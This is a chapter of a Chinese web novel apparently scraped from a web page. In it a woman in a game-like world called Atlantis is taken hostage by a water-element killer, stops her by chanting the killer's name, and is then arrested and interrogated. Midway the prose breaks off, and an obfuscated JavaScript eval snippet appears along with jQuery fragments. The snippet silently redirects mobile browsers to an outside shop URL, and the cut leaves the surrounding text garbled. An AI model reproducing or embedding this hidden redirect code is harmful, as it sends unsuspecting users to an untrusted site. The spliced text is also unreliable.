他们都误判了。
误判一个天赋者的天赋,在亚特兰蒂斯大陆,没有任何一个错误会比这个更加致命。
仅仅因为杀人者的身体四肢健壮程度异于常人,就笃定他是力量型天赋者,这显然太过于武断。仔细回想,杀人者在整个过程中,其实根本没有施展出专属于力量型天赋者所专有的天赋力。
而此时,救援小队与战斗小队显然也意识到了这个问题。
把一个水元素天赋者放归水元素充盈的环境下,根本无异于放虎归山。
姜素屏蔽如钟鼓般跳动的心跳,努力冷静下来。
海藻般阴湿的蜷曲头发被海水浸湿,紧紧贴在来人的面部,只露出一副可怖深邃的瞳孔。
她拖着长长的水印,慢吞吞地喘着气爬起来。于是桎梏便从脚踝转移到姜素的脖颈,她手掌粗粝的茧子抵着皮肤。姜素毫不怀疑,只要她的手指稍稍用力,就能够轻而易举地扭断她的脖颈。
凶手是个女人。姜素凭借对男女盆骨做出了判断。尽管除此以外,她没有任何能够让人分辨出性别的第二性征。
水元素天赋者遇水则如鱼得水。方才她遭受元素攻击的伤口在水元素的浸润之下逐渐愈合,她的气息慢慢平静下来,力量重新充斥了她疲惫不堪的躯体。她将头扭曲地贴在姜素的额头,目光阴沉地盯着她的眼睛,然后很轻地龇牙道:
“就是你了,天赐的幸运儿。”
显而易见,她被挟持了。在被掐住在纵横复杂的巷子间快速移动时,以及人群的惊恐尖叫声中,她心凉地意识到这一点。
j01:[解锁新人物:达涞。]
姜素被猛地投掷在一堆钢铁废料,她呼吸不畅地捂住脖子喘气,周围是一片阴暗、看起来已经废弃了多年的工厂。天花板很高,大概有四五层楼那么高。
她紧盯着面前最大的“危险”。
[查看达涞基本信息。]
[信息面板:
姓名:达涞
性别:女
天赋:水元素
状态:精神二级狂化
原因:未知
弱点:未知
...
后面几乎一长串的未知令她眼前一黑。这类只有在投递简历时才会用到的基本信息,告诉她和不告诉她有什么区别啊。
难道她亲切地呼唤他的名字,就能换来自己的小命吗?
在姜素查看信息面板的间隙,达莱显然已经做好了杀人灭口的准备。本以为她会借此挟持她,作为人质来换取一条生路。可是对方完全没有威胁和谈判的意思,显然只是单纯的、纯粹地想要杀人。
精神狂化。她的大脑飞速运转,这个名词对于她来说异常陌生。但是她在游戏的世界观下才生存了不足一天,根本无法推知这种状态下的解决办法。她得等,等到救援队和金澍洲赶到。至少他们不会太慢的。
达涞扭着脖颈,里面的骨头咯吱咯吱响,咫尺之间她的虎口化刃抵在姜素的喉咙。
蓄力。
姜素的心跳得快要失去知觉。她下意识闭眼,有点绝望地看着他狰狞着朝她挥刀:“达涞大人!求求你别杀我!”
意料之内的疼痛却并没有到来。
达莱竟然停在半空。似乎被施了咒一般陷入了魔怔之中。
不是吧。她有些迟疑地冲着他挥了挥手。
真有用。
j01:[恭喜解锁支线:达莱的秘密。]
[获得boss线索碎片x1]
看他双目呆滞的样子。如果排除他是被她一时的谄媚和讨饶所心软的情况,当然这也是天方夜谭的情况。
那么就只有一种可能,达涞被下了类似于咒语之类的诅咒。
她还想仔细端详达涞的状况,没有片刻达涞便又重新狂化。
姜素闪身退后。
“求求你求求你求求你......”她快速退后,对方不断逼近,“别杀我别杀我别杀我别杀我。”
天赋者的速度显然更快。
呼吸之间便近在眼前。
姜素大喊:“达涞!”
果然,达涞一听见名字,动作又开始停滞了。
“达涞达涞达涞达涞达涞达涞达涞......”这下她的嘴皮子一刻也不敢停歇。达涞也被彻底定在了原地,无法动弹。
达涞的咒语是达涞。
·
环形大桥发生了一起命案。
而后在他的眼皮子地下,凶手又光明正大地二次作案,挟持人质并且退出了救援队的包围圈。
这简直是对他能力的莫大挑衅。
“卡肖带一队封锁旁边的圆巷,束微在这边做好收尾。”
金澍洲简明扼要地吩咐好,跃上半光速摩托,将油门踏板踩到了底。
凶手的详细资料在作案后的第一时间就被调出来。
可是他手上的这一份资料,上面清清楚楚地写明凶手达涞是一名力量型天赋者。
金澍洲只身踏入了圆巷。
这处圆巷并不属于亚特兰蒂斯新建设工程的一部分,而属于伫立于新城区的老城区。故而基础设施不齐,位置地图也并未标明。巷子窄而长,拐弯和路口颇多,道路盘根错节。
老居民早就多多少少搬出了这里,故而居民也不算多。
而此时,巷子格外僻静,没有任何痕迹线索或是打斗声。以他的天赋力,方圆百里内的动静都会被覆盖在内,尤其是凶手还与他有所交手,他熟悉凶手的元素气息。一分钟以前,凶手挟持人质逃入圆巷。
即便是设置了屏蔽元素,但是在他的天赋级别之下,一切都只会无所遁形。
除非,凶手不在这。
金澍洲停下手掌中运转的水元素天赋之力。
有人料到资料有误,料到他们会做出错误判断,料到凶手能够逃脱进行二次作案,甚至料到了他们因为不熟悉这处遗留的老区而耽误一些时间。他们的目的从来不是顺利逃脱,所以,被挟持的人此刻极有可能已经被分尸。
他想起方才在安全局里利用他狐假虎威的女人。
金澍洲当然看见了,达涞挟持的人质是姜素。那个愚蠢、倒霉的女人,刚解决了麻烦竟然还凑到案发现场前线看热闹。他的眼前浮现出姜素被挟持时的神情,甚至清楚到每一处肌肉的颤动。
她应该怕得想要跪地求饶的。
可是在她的脸上竟然看不到任何慌张,琥珀色的瞳孔在阳光反射的水光下熠熠生辉。
“滴滴滴”传声器传来讯息。
“报告队长,在城郊的废弃仓库发现凶手踪迹!”
金澍洲按下传声器的侧边按钮,神色淡淡地抬眼看了一眼天空。天空依旧湛蓝、阳光比早上还要明媚。
转瞬之间,原地的男人已经飞掠而去,不见踪影。
·
“达涞!达涞!达涞达涞!达!涞!达——涞——”
金澍洲赶到现场时,见到的是这样一幅场景。
凶手达涞被粗粝的麻绳五花大绑,躺倒在地,眼神凝滞。而姜素则百无聊赖地蹲在他旁边,对着他的耳朵变换着声调叫他的名字。
金澍洲前进的脚步顿住,停在仓库门口。
姜素已经连续叫了十几分钟,此刻正口干舌燥百无聊赖。这咒语持续时间太短,她一停下,达涞一会儿就要弹起来,所以她只能嘴皮子不停。
救援队怎么还不来......她有点生无可恋,仰天叹气。不寄希望地把视线往出口一放,突然眼前一亮。
她感觉自己快要感动地哭出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678331|207594||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声,太好了,这个仓库除了她和一个抽搐的达涞以外终于出现了另一个正常人。
在姜素起身的片刻,救援小队成员陆续赶到,站在金澍洲身后。
金澍洲冷漠开口:“全部拿下。”
于是全副武装的警员便密密麻麻地将她们围住,一排人拿枪口对准,一排人拿着盾牌前进。
“呃啊!”达涞恢复狂化,从地上弹起来挣脱了麻绳。
姜素连忙大叫:“快抓住她啊啊啊啊!”
警员迅速上前,干净利落地扣住手腕,反手往背后一拧,压住肩膀,拷上手铐。鞋尖猛地顶住膝盖,使之下跪。
姜素还在满意地观察特派警员的标准动作。
转头就被痛感包裹。“啊,痛痛痛。”姜素惊呼出声,她和达涞被扣在并排。
什么情况。她怎么也被拿下了。
姜素被迫跪在地上,身上的骨头都被拧得生痛。手铐也比早上那一副更紧、更牢固。
她逆着光抬头,只能看见金澍洲脸庞的一个侧影。
“喂,有没有搞错!我是受害者,大哥!大姐!金sir!”不过依旧保持亚特兰蒂斯传统,没有人理会她的控诉。
金澍洲只掀了掀眼皮:“全部带回监察所。”
屁股再次与审讯室冰凉坚硬的椅子面贴上,姜素对此是无比绝望的。
这间审讯室比之前的那间更加阴暗。因为没有铁窗,几乎是全封闭式的。四面八方的摄像监控摄像头都对准了她,令她的任何小动作都暴露无遗。
她此刻已经不像上回那样东张西望了,毕竟一回生二回熟。姜素很平静地就接受了这个事实。
警员坐在对面,表情严肃。
警员:“姓名。”
姜素:“姜素,女,26周岁不到一天。”
警员旁边的一个人对着屏幕依次记录。
警员:“26岁?档案显示你只有23周岁。”
姜素皱眉思索了片刻,笃定应该是原主的年纪:“那应该是我记错了。”
警员怀疑地看了她一眼:“姜素,女,西西莉亚人,生日星元197年3月9日。基本信息确认无误吗?”
姜素点头。
凑巧的是,原主和自己的生日恰好是同一天。这游戏的设计还算精巧。
警员:“下午四时五十分零九秒,你出现在环形大桥旁边的克里斯堤岸,是吗?”
姜素:“差不多吧。”
警员:“是搭乘什么交通工具到达的?”
姜素:“飞行器。”然后又补充道:“不是我开的。交通安全局的小兄弟送我来的哈。”
警员:“目的。”
姜素想了想:“跟着你们头儿来的。”
警员用一种怀疑人生的目光看她:“谁?”
姜素:“金澍洲。”
警员瞪大了眼睛:“你是说金队?你们是什么关系?”
姜素瞟了一眼摄像头:“没有关系。”
警员:“描述一下事情经过。”
姜素瘪了瘪嘴:“这有什么好描述的啊。就是早上我开飞行器被一只红毛鸟撞了,对方要置我于死地。那群瘪犊子恃强凌弱、特别势利,欺负弱小无辜的我,还拿电棍电我。还好你家队长菩萨心肠,大仁大义,过来救我一命。”
警员纠正:“是被挟持的事情经过。”
姜素“啊——”了一声:“凶手挟持我到仓库后,想要杀我。他被我绑起来了,你们英勇无畏、高大强悍、让人崇拜,救了我。我感激涕零,回去一定烧香拜佛感谢你们。”
警员:“怎么知道凶手名字的?”
姜素闻言突然沉默,脑子开始飞速地旋转。
然后她标准地微笑了一下:“她主动告诉我的,你信吗?”